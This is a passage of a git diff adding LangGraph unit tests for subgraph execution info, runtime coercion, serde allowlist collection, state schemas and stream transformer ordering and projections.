subgraph_builder.add_node("sub_node", subgraph_node) + subgraph_builder.add_edge(START, "sub_node") + subgraph = subgraph_builder.compile() + + def main_node(state: State, runtime: Runtime) -> dict[str, str]: + captured_main["execution_info"] = runtime.execution_info + return {"message": "from_main"} + + builder = StateGraph(State) + builder.add_node("main_node", main_node) + builder.add_node("subgraph", subgraph) + builder.add_edge(START, "main_node") + builder.add_edge("main_node", "subgraph") + graph = builder.compile(checkpointer=MemorySaver()) + + graph.invoke( + {"message": "hi"}, + config={"configurable": {"thread_id": "sub-thread"}}, + ) + + main_info = captured_main["execution_info"] + sub_info = captured_sub["execution_info"] + + # Both share the same thread_id + assert main_info.thread_id == "sub-thread" + assert sub_info.thread_id == "sub-thread" + + # Both have node_attempt = 1 + assert main_info.node_attempt == 1 + assert sub_info.node_attempt == 1 + + # Main namespace is "main_node:" (top-level, no separator) + assert main_info.checkpoint_ns.startswith("main_node:") + assert "|" not in main_info.checkpoint_ns + + # Subgraph namespace is "subgraph:|sub_node:" (nested) + assert sub_info.checkpoint_ns.startswith("subgraph:") + assert "|sub_node:" in sub_info.checkpoint_ns + + # task_id appears in its own namespace segment + assert main_info.task_id in main_info.checkpoint_ns + assert sub_info.task_id in sub_info.checkpoint_ns + + +def test_foreign_object_in_runtime_slot_is_coerced() -> None: + """A non-`Runtime` under `CONFIG_KEY_RUNTIME` is adopted, not crashed on, + and the `context` it carries is plumbed through. + + Layers outside a run (e.g. a server's graph-factory path, like LangGraph + API) seed an object carrying `context`/`store` into the runtime slot. The + run must still execute (regression for `AttributeError: '...' object has no + attribute 'control'`), and `context` set at that level must reach nodes via + `merge` when no per-run `context` is provided. `store` is resolved + separately, so it is not read off the foreign object in the coercion. + """ + from langgraph.store.memory import InMemoryStore + + from langgraph._internal._constants import CONFIG_KEY_RUNTIME + + store = InMemoryStore() + graph_level_context = {"source": "graph-level"} + + class _ServerLikeRuntime: + """Carries context/store but is not a `Runtime` (no control/merge).""" + + def __init__(self) -> None: + self.context = graph_level_context + self.store = store + + seen: dict[str, Any] = {} + + class State(TypedDict, total=False): + text: str + + def echo(state: State, runtime: Runtime) -> State: + seen["context"] = runtime.context + seen["store"] = runtime.store + return {"text": (state.get("text") or "") + " echoed"} + + builder = StateGraph(State) + builder.add_node("echo", echo) + builder.add_edge(START, "echo") + builder.add_edge("echo", END) + graph = builder.compile() + + # No per-run `context=`: the graph-level context on the slot must plumb through. + result = graph.invoke( + {"text": "hi"}, + {"configurable": {CONFIG_KEY_RUNTIME: _ServerLikeRuntime()}}, + ) + + assert result == {"text": "hi echoed"} + # context set at the graph level is plumbed through to the node via merge + assert seen["context"] == graph_level_context + # store still reaches the node (resolved separately, not via the coercion) + assert seen["store"] is store diff --git a/libs/langgraph/tests/test_serde_allowlist.py b/libs/langgraph/tests/test_serde_allowlist.py new file mode 100644 index 0000000..2a90389 --- /dev/null +++ b/libs/langgraph/tests/test_serde_allowlist.py @@ -0,0 +1,159 @@ +from __future__ import annotations + +from collections import deque +from dataclasses import dataclass +from enum import Enum +from typing import TYPE_CHECKING, Annotated, Any, Literal, NewType, Optional, Union + +import pytest +from pydantic import BaseModel +from typing_extensions import NotRequired, Required, TypedDict + +from langgraph._internal._serde import ( + collect_allowlist_from_schemas, + curated_core_allowlist, +) + + +class Color(Enum): + RED = "red" + BLUE = "blue" + + +@dataclass +class InnerDataclass: + value: int + + +class InnerModel(BaseModel): + name: str + + +@dataclass +class Node: + value: int + child: Node | None = None + + +if TYPE_CHECKING: + + class MissingType: + pass + + +@dataclass +class MissingRefDataclass: + payload: MissingType + + +class Payload(TypedDict): + item: InnerDataclass + maybe: NotRequired[InnerModel] + required: Required[str] + + +@dataclass +class NestedDataclass: + inner: InnerDataclass + items: list[InnerModel] + mapping: dict[str, InnerDataclass] + optional: InnerModel | None + union: InnerDataclass | InnerModel + queue: deque[InnerDataclass] + frozen: frozenset[InnerModel] + + +AnnotatedList = Annotated[list[InnerDataclass], "meta"] +UserId = NewType("UserId", int) + + +class DummyChannel: + @property + def ValueType(self) -> type[InnerDataclass]: + return InnerDataclass + + @property + def UpdateType(self) -> type[InnerModel]: + return InnerModel + + +def test_curated_core_allowlist_includes_messages() -> None: + try: + from langchain_core.messages import BaseMessage + except Exception: + pytest.skip("langchain_core not available") + allowlist = curated_core_allowlist() + assert (BaseMessage.__module__, BaseMessage.__name__) in allowlist + + +def test_collect_allowlist_basic_models() -> None: + allowlist = collect_allowlist_from_schemas( + schemas=[InnerDataclass, InnerModel, Color] + ) + assert (InnerDataclass.__module__, InnerDataclass.__name__) in allowlist + assert (InnerModel.__module__, InnerModel.__name__) in allowlist + assert (Color.__module__, Color.__name__) in allowlist + + +def test_collect_allowlist_nested_containers() -> None: + allowlist = collect_allowlist_from_schemas(schemas=[NestedDataclass]) + assert (NestedDataclass.__module__, NestedDataclass.__name__) in allowlist + assert (InnerDataclass.__module__, InnerDataclass.__name__) in allowlist + assert (InnerModel.__module__, InnerModel.__name__) in allowlist + + +def test_collect_allowlist_annotated_and_union() -> None: + allowlist = collect_allowlist_from_schemas( + schemas=[AnnotatedList, InnerModel | None, InnerDataclass | None] + ) + assert (InnerDataclass.__module__, InnerDataclass.__name__) in allowlist + assert (InnerModel.__module__, InnerModel.__name__) in allowlist + + +def test_collect_allowlist_literal_and_any() -> None: + allowlist = collect_allowlist_from_schemas(schemas=[Any, Literal["a"]]) + assert allowlist == set() + + +def test_collect_allowlist_typeddict_fields_only() -> None: + allowlist = collect_allowlist_from_schemas(schemas=[Payload]) + assert (InnerDataclass.__module__, InnerDataclass.__name__) in allowlist + assert (InnerModel.__module__, InnerModel.__name__) in allowlist + assert (Payload.__module__, Payload.__name__) not in allowlist + + +def test_collect_allowlist_forward_refs() -> None: + allowlist = collect_allowlist_from_schemas(schemas=[Node]) + assert (Node.__module__, Node.__name__) in allowlist + + +def test_collect_allowlist_missing_forward_ref() -> None: + allowlist = collect_allowlist_from_schemas(schemas=[MissingRefDataclass]) + assert allowlist == {(MissingRefDataclass.__module__, MissingRefDataclass.__name__)} + + +def test_collect_allowlist_newtype_supertype() -> None: + allowlist = collect_allowlist_from_schemas(schemas=[UserId]) + assert allowlist == set() + + +def test_collect_allowlist_channels() -> None: + channels = {"a": DummyChannel(), "b": DummyChannel()} + allowlist = collect_allowlist_from_schemas(channels=channels) + assert (InnerDataclass.__module__, InnerDataclass.__name__) in allowlist + assert (InnerModel.__module__, InnerModel.__name__) in allowlist + + +def test_collect_allowlist_pep604_union() -> None: + schema = InnerDataclass | InnerModel + allowlist = collect_allowlist_from_schemas(schemas=[schema]) + assert (InnerDataclass.__module__, InnerDataclass.__name__) in allowlist + assert (InnerModel.__module__, InnerModel.__name__) in allowlist + + +def test_collect_allowlist_typing_union_optional() -> None: + typing_optional = Optional[InnerDataclass] # noqa: UP045 + typing_union = Union[InnerDataclass, InnerModel] # noqa: UP007 + allowlist = collect_allowlist_from_schemas(schemas=[typing_optional, typing_union]) + assert (InnerDataclass.__module__, InnerDataclass.__name__) in allowlist + assert (InnerModel.__module__, InnerModel.__name__) in allowlist diff --git a/libs/langgraph/tests/test_state.py b/libs/langgraph/tests/test_state.py new file mode 100644 index 0000000..f1ff21a --- /dev/null +++ b/libs/langgraph/tests/test_state.py @@ -0,0 +1,373 @@ +import inspect +import operator +import warnings +from dataclasses import dataclass, field +from typing import Annotated, Any, Union +from typing import Annotated as Annotated2 + +import pytest +from langchain_core.runnables import RunnableConfig +from pydantic import BaseModel +from typing_extensions import NotRequired, Required, TypedDict + +from langgraph.channels.binop import BinaryOperatorAggregate +from langgraph.channels.ephemeral_value import EphemeralValue +from langgraph.graph.state import ( + StateGraph, + _get_node_name, + _is_field_channel, + _warn_invalid_state_schema, +) + + +class State(BaseModel): + foo: str + bar: int + + +class State2(TypedDict): + foo: str + bar: int + + +@pytest.mark.parametrize( + "schema", + [ + {"foo": "bar"}, + ["hi", lambda x, y: x + y], + State(foo="bar", bar=1), + State2(foo="bar", bar=1), + ], +) +def test_warns_invalid_schema(schema: Any): + with pytest.warns(UserWarning): + _warn_invalid_state_schema(schema) + + +@pytest.mark.parametrize( + "schema", + [ + Annotated[dict, lambda x, y: y], + Annotated2[list, lambda x, y: y], + dict, + State, + State2, + ], +) +def test_doesnt_warn_valid_schema(schema: Any): + # Assert the function does not raise a warning + with warnings.catch_warnings(): + warnings.simplefilter("error") + _warn_invalid_state_schema(schema) + + +def test_state_schema_with_type_hint(): + class InputState(TypedDict): + question: str + + class OutputState(TypedDict): + input_state: InputState + + class FooState(InputState): + foo: str + + def complete_hint(state: InputState) -> OutputState: + return {"input_state": state} + + def miss_first_hint(state, config: RunnableConfig) -> OutputState: + return {"input_state": state} + + def only_return_hint(state, config) -> OutputState: + return {"input_state": state} + + def miss_all_hint(state, config): + return {"input_state": state} + + def pre_foo(_) -> FooState: + return {"foo": "bar"} + + def pre_bar(_) -> FooState: + return {"foo": "bar"} + + class Foo: + def __call__(self, state: FooState) -> OutputState: + assert state.pop("foo") == "bar" + return {"input_state": state} + + class Bar: + def my_node(self, state: FooState) -> OutputState: + assert state.pop("foo") == "bar" + return {"input_state": state} + + graph = StateGraph(InputState, output_schema=OutputState) + actions = [ + complete_hint, + miss_first_hint, + only_return_hint, + miss_all_hint, + pre_foo, + Foo(), + pre_bar, + Bar().my_node, + ] + + for action in actions: + graph.add_node(action) + + def get_name(action) -> str: + return getattr(action, "__name__", action.__class__.__name__) + + graph.set_entry_point(get_name(actions[0])) + for i in range(len(actions) - 1): + graph.add_edge(get_name(actions[i]), get_name(actions[i + 1])) + graph.set_finish_point(get_name(actions[-1])) + + graph = graph.compile() + + input_state = InputState(question="Hello World!") + output_state = OutputState(input_state=input_state) + foo_state = FooState(foo="bar") + for i, c in enumerate(graph.stream(input_state, stream_mode="updates")): + node_name = get_name(actions[i]) + if node_name in {"pre_foo", "pre_bar"}: + assert c[node_name] == foo_state + else: + assert c[node_name] == output_state + + +@pytest.mark.parametrize("total_", [True, False]) +def test_state_schema_optional_values(total_: bool): + class SomeParentState(TypedDict): + val0a: str + val0b: str | None + + class InputState(SomeParentState, total=total_): # type: ignore + val1: str + val2: str | None + val3: Required[Annotated[dict, operator.or_]] + val4: NotRequired[dict] + val5: Annotated[Required[str], "foo"] + val6: Annotated[NotRequired[str], "bar"] + + class OutputState(SomeParentState, total=total_): # type: ignore + out_val1: str + out_val2: str | None + out_val3: Required[str] + out_val4: NotRequired[dict] + out_val5: Annotated[Required[str], "foo"] + out_val6: Annotated[NotRequired[str], "bar"] + + class State(InputState): # this would be ignored + val4: dict + + builder = StateGraph(State, input_schema=InputState, output_schema=OutputState) + builder.add_node("n", lambda x: x) + builder.add_edge("__start__", "n") + graph = builder.compile() + json_schema = graph.get_input_jsonschema() + + assert isinstance(graph.channels["val3"], BinaryOperatorAggregate) + + if total_ is False: + expected_required = set() + expected_optional = {"val2", "val1"} + else: + expected_required = {"val1", "val2"} + expected_optional = set() + + # The others should always have precedence based on the required annotation + expected_required |= {"val0a", "val0b", "val3", "val5"} + expected_optional |= {"val4", "val6"} + + assert set(json_schema.get("required", set())) == expected_required + assert ( + set(json_schema["properties"].keys()) == expected_required | expected_optional + ) + + # Check output schema. Should be the same process + output_schema = graph.get_output_jsonschema() + if total_ is False: + expected_required = set() + expected_optional = {"out_val2", "out_val1"} + else: + expected_required = {"out_val1", "out_val2"} + expected_optional = set() + + expected_required |= {"val0a", "val0b", "out_val3", "out_val5"} + expected_optional |= {"out_val4", "out_val6"} + + assert set(output_schema.get("required", set())) == expected_required + assert ( + set(output_schema["properties"].keys()) == expected_required | expected_optional + ) + + +@pytest.mark.parametrize("kw_only_", [False, True]) +def test_state_schema_default_values(kw_only_: bool): + kwargs = {} + if "kw_only" in inspect.signature(dataclass).parameters: + kwargs = {"kw_only": kw_only_} + + @dataclass(**kwargs) + class InputState: + val1: str + val2: int | None + val3: Annotated[float | None, "optional annotated"] + val4: str | None = None + val5: list[int] = field(default_factory=lambda: [1, 2, 3]) + val6: dict[str, int] = field(default_factory=lambda: {"a": 1}) + val7: str = field(default=...) + val8: Annotated[int, "some metadata"] = 42 + val9: Annotated[str, "more metadata"] = field(default="some foo") + val10: str = "default" + val11: Annotated[list[str], "annotated list"] = field( + default_factory=lambda: ["a", "b"] + ) + + builder = StateGraph(InputState) + builder.add_node("n", lambda x: x) + builder.add_edge("__start__", "n") + graph = builder.compile() + for json_schema in [graph.get_input_jsonschema(), graph.get_output_jsonschema()]: + expected_required = {"val1", "val7"} + expected_optional = { + "val2", + "val3", + "val4", + "val5", + "val6", + "val8", + "val9", + "val10", + "val11", + } + + assert set(json_schema.get("required", set())) == expected_required + assert ( + set(json_schema["properties"].keys()) == expected_required | expected_optional + ) + + +def test__get_node_name() -> None: + # lambda + assert _get_node_name(lambda x: x) == "" + + # regular function + def func(state): + return + + assert _get_node_name(func) == "func" + + class MyClass: + def __call__(self, state): + return + + def class_method(self, state): + return + + # callable class + assert _get_node_name(MyClass()) == "MyClass" + + # class method + assert _get_node_name(MyClass().class_method) == "class_method" + + +def test_input_schema_conditional_edge(): + class OverallState(TypedDict): + foo: Annotated[int, operator.add] + bar: str + + class PrivateState(TypedDict): + baz: str + + builder = StateGraph(OverallState) + + def node_1(state: OverallState): + return {"foo": 1, "baz": "bar"} + + def node_2(state: PrivateState): + return {"foo": 1, "bar": state["baz"], "something_else": "meow"} + + def node_3(state: OverallState): + return {"foo": 1} + + def router(state: OverallState): + assert state == {"foo": 2, "bar": "bar"} + if state["foo"] == 2: + return "node_3" + else: + return "__end__" + + builder.add_node(node_1) + builder.add_node(node_2) + builder.add_node(node_3) + builder.add_conditional_edges("node_2", router) + builder.add_edge("__start__", "node_1") + builder.add_edge("node_1", "node_2") + graph = builder.compile() + assert graph.invoke({"foo": 0}) == {"foo": 3, "bar": "bar"} + + +def test_private_input_schema_conditional_edge(): + class OverallState(TypedDict): + foo: Annotated[int, operator.add] + bar: str + + class RouterState(TypedDict): + baz: str + + class Node2State(TypedDict): + foo: Annotated[int, operator.add] + baz: str + + builder = StateGraph(OverallState) + + def node_1(state: OverallState): + return {"foo": 1, "baz": "meow"} + + def node_2(state: Node2State): + return {"foo": 1, "bar": state["baz"]} + + def router(state: RouterState): + assert state == {"baz": "meow"} + if state["baz"] == "meow": + return "node_2" + else: + return "__end__" + + builder.add_node(node_1) + builder.add_node(node_2) + builder.add_conditional_edges("node_1", router) + builder.add_edge("__start__", "node_1") + graph = builder.compile() + assert graph.invoke({"foo": 0}) == {"foo": 2, "bar": "meow"} + + +def test_is_field_channel() -> None: + """Test channel detection across all scenarios.""" + # Basic detection + result = _is_field_channel(Annotated[int, EphemeralValue]) + assert isinstance(result, EphemeralValue) and result.typ is int + + # Main fix: handles extraneous annotations + result = _is_field_channel(Annotated[str, "metadata", EphemeralValue, "more"]) + assert isinstance(result, EphemeralValue) and result.typ is str + + # Complex types work + union_type = Union[int, str] # noqa: UP007 + result = _is_field_channel(Annotated[union_type, EphemeralValue]) + assert isinstance(result, EphemeralValue) and result.typ is union_type + + # Pre-instantiated channels + instantiated = EphemeralValue(int) + result = _is_field_channel(Annotated[int, instantiated]) + assert result is instantiated + + # Pre-instantiated channels with multiple annotations + instantiated = EphemeralValue(int) + result = _is_field_channel(Annotated[int, "metadata", instantiated, "more"]) + assert result is instantiated + + # No channel cases + assert _is_field_channel(int) is None + assert _is_field_channel(Annotated[int, "just_metadata"]) is None diff --git a/libs/langgraph/tests/test_stream_before_builtins.py b/libs/langgraph/tests/test_stream_before_builtins.py new file mode 100644 index 0000000..6e01dfb --- /dev/null +++ b/libs/langgraph/tests/test_stream_before_builtins.py @@ -0,0 +1,296 @@ +"""Tests for `StreamTransformer.before_builtins` lane ordering. + +`before_builtins = True` transformers are registered ahead of the +rest, preserving relative order within each lane. This lets +content-mutating transformers run before built-ins like +`MessagesTransformer` that eagerly snapshot text fields into their +projections. +""" + +from __future__ import annotations + +import time +from typing import Any, ClassVar + +from langgraph.stream._mux import StreamMux +from langgraph.stream._types import StreamTransformer +from langgraph.stream.stream_channel import StreamChannel +from langgraph.stream.transformers import ( + LifecycleTransformer, + MessagesTransformer, + TasksTransformer, +) + +TS = int(time.time() * 1000) + + +def _messages_event(namespace: list[str], data: Any) -> dict[str, Any]: + return { + "type": "event", + "method": "messages", + "params": {"namespace": namespace, "timestamp": TS, "data": data}, + } + + +class _Tap(StreamTransformer): + """Records the order it observed each event.""" + + required_stream_modes: ClassVar[tuple[str, ...]] = () + + def __init__(self, scope: tuple[str, ...] = (), *, label: str = "tap") -> None: + super().__init__(scope) + self.label = label + self.log: list[str] = [] + self._channel: StreamChannel[str] = StreamChannel() + + def init(self) -> dict[str, Any]: + return {f"tap_{self.label}": self._channel} + + def process(self, event: dict[str, Any]) -> bool: + self.log.append(self.label) + return True + + +class _PreTap(_Tap): + before_builtins: ClassVar[bool] = True + + +class _TextRedactor(StreamTransformer): + """Mutates `text-delta` events in place to a fixed redacted string.""" + + before_builtins: ClassVar[bool] = True + required_stream_modes: ClassVar[tuple[str, ...]] = ("messages",) + + def __init__(self, scope: tuple[str, ...] = ()) -> None: + super().__init__(scope) + self._channel: StreamChannel[str] = StreamChannel() + + def init(self) -> dict[str, Any]: + return {"redactor": self._channel} + + def process(self, event: dict[str, Any]) -> bool: + if event.get("method") != "messages": + return True + payload, _meta = event["params"]["data"] + if isinstance(payload, dict) and payload.get("event") == "content-block-delta": + delta = payload.get("delta") or {} + if delta.get("type") == "text-delta": + delta["text"] = "[REDACTED]" + return True + + +def test_before_builtins_factories_run_before_others() -> None: + """A `before_builtins=True` factory is registered ahead of the rest.""" + + seen: list[type[StreamTransformer]] = [] + + class _PostTap(_Tap): + def __init__(self, scope: tuple[str, ...] = ()) -> None: + super().__init__(scope, label="post") + + def process(self, event: dict[str, Any]) -> bool: + seen.append(_PostTap) + return True + + class _EagerTap(_Tap): + before_builtins: ClassVar[bool] = True + + def __init__(self, scope: tuple[str, ...] = ()) -> None: + super().__init__(scope, label="eager") + + def process(self, event: dict[str, Any]) -> bool: + seen.append(_EagerTap) + return True + + mux = StreamMux( + factories=[_PostTap, _EagerTap], + scope=(), + is_async=False, + ) + # `_EagerTap` was supplied second but should be registered first. + types_in_order = [type(t) for t in mux._transformers] + assert types_in_order.index(_EagerTap) < types_in_order.index(_PostTap) + + mux.push( + _messages_event([], ({"event": "message-start", "role": "ai", "id": "m1"}, {})) + ) + # And it ran first when the event was dispatched. + assert seen == [_EagerTap, _PostTap] + + +def test_within_lane_order_preserved() -> None: + """Within each lane, the supplied order is the registration order.""" + + class _A(_PreTap): + pass + + class _B(_PreTap): + pass + + class _C(_Tap): + pass + + class _D(_Tap): + pass + + mux = StreamMux( + factories=[ + lambda scope: _C(scope, label="c"), + lambda scope: _A(scope, label="a"), + lambda scope: _D(scope, label="d"), + lambda scope: _B(scope, label="b"), + ], + scope=(), + is_async=False, + ) + order = [t.label for t in mux._transformers] # type: ignore[attr-defined] + # Pre lane (a, b) ahead of default lane (c, d). Within each, supplied order kept. + assert order == ["a", "b", "c", "d"] + + +def test_redactor_runs_before_messages_transformer() -> None: + """Content mutated by a pre-lane transformer reaches `MessagesTransformer`.""" + + # Order supplied: built-ins first (as in pregel/main.py), then the + # opt-in pre-lane redactor. Partitioning should still register the + # redactor first. + mux = StreamMux( + factories=[MessagesTransformer, _TextRedactor], + scope=(), + is_async=False, + ) + types_in_order = [type(t) for t in mux._transformers] + assert types_in_order.index(_TextRedactor) < types_in_order.index( + MessagesTransformer + ) + + +def test_lifecycle_unaffected_by_pre_lane_observer() -> None: + """An observer-only pre-lane transformer doesn't break lifecycle bookkeeping.""" + + class _NoopPreObserver(StreamTransformer): + before_builtins: ClassVar[bool] = True + required_stream_modes: ClassVar[tuple[str, ...]] = ("tasks",) + + def __init__(self, scope: tuple[str, ...] = ()) -> None: + super().__init__(scope) + self._channel: StreamChannel[str] = StreamChannel() + self.seen: list[tuple[str, ...]] = [] + + def init(self) -> dict[str, Any]: + return {"noop_observer": self._channel} + + def process(self, event: dict[str, Any]) -> bool: + if event.get("method") == "tasks": + self.seen.append(tuple(event["params"]["namespace"])) + return True + + mux = StreamMux( + factories=[LifecycleTransformer, TasksTransformer, _NoopPreObserver], + scope=(), + is_async=False, + ) + types_in_order = [type(t) for t in mux._transformers] + assert types_in_order.index(_NoopPreObserver) < types_in_order.index( + LifecycleTransformer + ) + + observer = next(t for t in mux._transformers if isinstance(t, _NoopPreObserver)) + lifecycle = next( + t for t in mux._transformers if isinstance(t, LifecycleTransformer) + ) + + # Push a synthetic `tasks` event that lifecycle would normally track. + mux.push( + { + "type": "event", + "method": "tasks", + "params": { + "namespace": ["child:abc"], + "timestamp": TS, + "data": {"name": "child"}, + }, + } + ) + + # Pre-lane observer saw the event, AND lifecycle's bookkeeping still + # registered the new namespace (the observer didn't mutate anything). + assert observer.seen == [("child:abc",)] + assert ("child:abc",) in lifecycle._seen # type: ignore[attr-defined] + + +def test_default_is_false() -> None: + """`StreamTransformer.before_builtins` defaults to False.""" + + assert StreamTransformer.before_builtins is False + assert MessagesTransformer.before_builtins is False + assert LifecycleTransformer.before_builtins is False + + +def test_pre_lane_mutation_lands_in_messages_projection() -> None: + """End-to-end: text mutated by a pre-lane transformer is what + `MessagesTransformer` snapshots into its `ChatModelStream` projection. + + Without `before_builtins`, the redactor would run after + MessagesTransformer's eager extraction and the projection would + contain the raw, un-redacted text. + """ + + mux = StreamMux( + factories=[MessagesTransformer, _TextRedactor], + scope=(), + is_async=False, + ) + messages_transformer = next( + t for t in mux._transformers if isinstance(t, MessagesTransformer) + ) + # Unblock both the mux's main log and the messages projection log so + # synthetic pushes are accepted without a real consumer attached. + mux._events._subscribed = True + messages_transformer._log._subscribed = True + + meta = {"langgraph_node": "model", "run_id": "run-1"} + + # message-start → MessagesTransformer creates a ChatModelStream. + mux.push( + _messages_event( + [], + ({"event": "message-start", "role": "ai", "id": "msg-1"}, meta), + ) + ) + + # content-block-delta carrying the secret. The redactor (pre-lane) + # mutates `delta.text` BEFORE MessagesTransformer snapshots it. + mux.push( + _messages_event( + [], + ( + { + "event": "content-block-delta", + "index": 0, + "delta": {"type": "text-delta", "text": "secret@example.com"}, + }, + meta, + ), + ) + ) + + # Capture the still-open stream before message-finish removes it from + # MessagesTransformer's `_by_run` dict. + chat_stream = messages_transformer._by_run["run-1"] # type: ignore[attr-defined] + + # message-finish → closes the stream. + mux.push( + _messages_event( + [], + ({"event": "message-finish"}, meta), + ) + ) + + # The redactor mutated `delta.text` to "[REDACTED]" before + # MessagesTransformer snapshotted the string into the text + # accumulator. Without `before_builtins`, the accumulator would hold + # the raw "secret@example.com". + assert chat_stream._text_acc == "[REDACTED]", ( # type: ignore[attr-defined] + f"expected redacted text in projection, got {chat_stream._text_acc!r}" + ) diff --git a/libs/langgraph/tests/test_stream_data_transformers.py b/libs/langgraph/tests/test_stream_data_transformers.py new file mode 100644 index 0000000..5aa37e5 --- /dev/null +++ b/libs/langgraph/tests/test_stream_data_transformers.py @@ -0,0 +1,707 @@ +"""Tests for CustomTransformer, UpdatesTransformer, CheckpointsTransformer, DebugTransformer, TasksTransformer. + +These transformers capture raw protocol events for their respective stream +modes and expose them as native projections on the run stream (run.custom, +run.updates, run.checkpoints, run.debug, run.tasks). Tests dispatch synthetic +protocol events through a StreamMux to isolate transformer logic; the final +group exercises real graphs through stream_events(version="v3"). +""" + +from __future__ import annotations + +import operator +import time +from typing import Annotated, Any + +from typing_extensions import TypedDict + +from langgraph.constants import END, START +from langgraph.graph import StateGraph +from langgraph.stream._mux import StreamMux +from langgraph.stream.stream_channel import StreamChannel +from langgraph.stream.transformers import ( + CheckpointsTransformer, + CustomTransformer, + DebugTransformer, + LifecycleTransformer, + TasksTransformer, + UpdatesTransformer, +) + +TS = int(time.time() * 1000) + + +def _custom_event(namespace: list[str], data: Any) -> dict[str, Any]: + return { + "type": "event", + "method": "custom", + "params": {"namespace": namespace, "timestamp": TS, "data": data}, + } + + +def _checkpoints_event(namespace: list[str], data: Any) -> dict[str, Any]: + return { + "type": "event", + "method": "checkpoints", + "params": {"namespace": namespace, "timestamp": TS, "data": data}, + } + + +def _debug_event(namespace: list[str], data: Any) -> dict[str, Any]: + return { + "type": "event", + "method": "debug", + "params": {"namespace": namespace, "timestamp": TS, "data": data}, + } + + +def _tasks_event(namespace: list[str], data: Any) -> dict[str, Any]: + return { + "type": "event", + "method": "tasks", + "params": {"namespace": namespace, "timestamp": TS, "data": data}, + } + + +def _updates_event(namespace: list[str], data: Any) -> dict[str, Any]: + return { + "type": "event", + "method": "updates", + "params": {"namespace": namespace, "timestamp": TS, "data": data}, + } + + +def _arm(mux: StreamMux, transformer: Any) -> None: + """Force projection logs to accept pushes (skip lazy-subscribe gate).""" + mux._events._subscribed = True + transformer._log._subscribed = True + + +def _unstamped(items): + """Strip push stamps from a StreamChannel's internal buffer.""" + return [item for _stamp, item in items] + + +def _drain(transformer: Any) -> list[Any]: + return _unstamped(transformer._log._items) + + +# --------------------------------------------------------------------------- +# CustomTransformer +# --------------------------------------------------------------------------- + + +def test_custom_captures_root_scope_events() -> None: + t = CustomTransformer() + mux = StreamMux([t], is_async=False) + _arm(mux, t) + + mux.push(_custom_event([], {"status": "processing"})) + mux.push(_custom_event([], {"status": "done"})) + + items = _drain(t) + assert items == [{"status": "processing"}, {"status": "done"}] + + +def test_custom_ignores_subgraph_scope_events() -> None: + t = CustomTransformer() + mux = StreamMux([t], is_async=False) + _arm(mux, t) + + mux.push(_custom_event(["subgraph:abc"], {"from": "child"})) + + assert _drain(t) == [] + + +def test_custom_scoped_transformer_captures_own_scope() -> None: + t = CustomTransformer(scope=("agent:abc",)) + mux = StreamMux([t], is_async=False) + _arm(mux, t) + + mux.push(_custom_event([], {"from": "root"})) + mux.push(_custom_event(["agent:abc"], {"from": "self"})) + mux.push(_custom_event(["agent:abc", "deep:def"], {"from": "child"})) + + items = _drain(t) + assert items == [{"from": "self"}] + + +def test_custom_preserves_any_payload_type() -> None: + t = CustomTransformer() + mux = StreamMux([t], is_async=False) + _arm(mux, t) + + mux.push(_custom_event([], "string_payload")) + mux.push(_custom_event([], 42)) + mux.push(_custom_event([], [1, 2, 3])) + + assert _drain(t) == ["string_payload", 42, [1, 2, 3]] + + +def test_custom_does_not_suppress_from_main_log() -> None: + t = CustomTransformer() + mux = StreamMux([t], is_async=False) + _arm(mux, t) + + mux.push(_custom_event([], "data")) + + methods = [evt["method"] for evt in _unstamped(mux._events._items)] + assert "custom" in methods + + +def test_custom_ignores_other_methods() -> None: + t = CustomTransformer() + mux = StreamMux([t], is_async=False) + _arm(mux, t) + + mux.push( + { + "type": "event", + "method": "values", + "params": {"namespace": [], "timestamp": TS, "data": {}}, + } + ) + assert _drain(t) == [] + + +def test_custom_required_stream_modes() -> None: + assert CustomTransformer.required_stream_modes == ("custom",) + + +def test_custom_is_native() -> None: + assert getattr(CustomTransformer, "_native", False) is True + + +def test_custom_init_returns_correct_key() -> None: + t = CustomTransformer() + projection = t.init() + assert "custom" in projection + assert isinstance(projection["custom"], StreamChannel) + + +# --------------------------------------------------------------------------- +# CheckpointsTransformer +# --------------------------------------------------------------------------- + + +def test_checkpoints_captures_root_scope_events() -> None: + t = CheckpointsTransformer() + mux = StreamMux([t], is_async=False) + _arm(mux, t) + + checkpoint_data = {"values": {"x": 1}, "next": ["node_b"]} + mux.push(_checkpoints_event([], checkpoint_data)) + + items = _drain(t) + assert items == [checkpoint_data] + + +def test_checkpoints_ignores_subgraph_events() -> None: + t = CheckpointsTransformer() + mux = StreamMux([t], is_async=False) + _arm(mux, t) + + mux.push(_checkpoints_event(["child:abc"], {"values": {"x": 1}})) + + assert _drain(t) == [] + + +def test_checkpoints_scoped_transformer() -> None: + t = CheckpointsTransformer(scope=("sub:abc",)) + mux = StreamMux([t], is_async=False) + _arm(mux, t) + + mux.push(_checkpoints_event([], {"from": "root"})) + mux.push(_checkpoints_event(["sub:abc"], {"from": "self"})) + + assert _drain(t) == [{"from": "self"}] + + +def test_checkpoints_does_not_suppress_from_main_log() -> None: + t = CheckpointsTransformer() + mux = StreamMux([t], is_async=False) + _arm(mux, t) + + mux.push(_checkpoints_event([], {"values": {}})) + + methods = [evt["method"] for evt in _unstamped(mux._events._items)] + assert "checkpoints" in methods + + +def test_checkpoints_required_stream_modes() -> None: + assert CheckpointsTransformer.required_stream_modes == ("checkpoints",) + + +def test_checkpoints_is_native() -> None: + assert getattr(CheckpointsTransformer, "_native", False) is True + + +# --------------------------------------------------------------------------- +# DebugTransformer +# --------------------------------------------------------------------------- + + +def test_debug_captures_root_scope_events() -> None: + t = DebugTransformer() + mux = StreamMux([t], is_async=False) + _arm(mux, t) + + debug_data = { + "step": 0, + "type": "checkpoint", + "timestamp": "2026-01-01T00:00:00Z", + "payload": {"values": {"x": 1}}, + } + mux.push(_debug_event([], debug_data)) + + items = _drain(t) + assert items == [debug_data] + + +def test_debug_ignores_subgraph_events() -> None: + t = DebugTransformer() + mux = StreamMux([t], is_async=False) + _arm(mux, t) + + mux.push(_debug_event(["child:abc"], {"step": 0, "type": "task"})) + + assert _drain(t) == [] + + +def test_debug_captures_multiple_event_types() -> None: + t = DebugTransformer() + mux = StreamMux([t], is_async=False) + _arm(mux, t) + + mux.push(_debug_event([], {"step": 0, "type": "checkpoint", "payload": {}})) + mux.push(_debug_event([], {"step": 1, "type": "task", "payload": {}})) + mux.push(_debug_event([], {"step": 1, "type": "task_result", "payload": {}})) + + items = _drain(t) + assert len(items) == 3 + assert [d["type"] for d in items] == ["checkpoint", "task", "task_result"] + + +def test_debug_does_not_suppress_from_main_log() -> None: + t = DebugTransformer() + mux = StreamMux([t], is_async=False) + 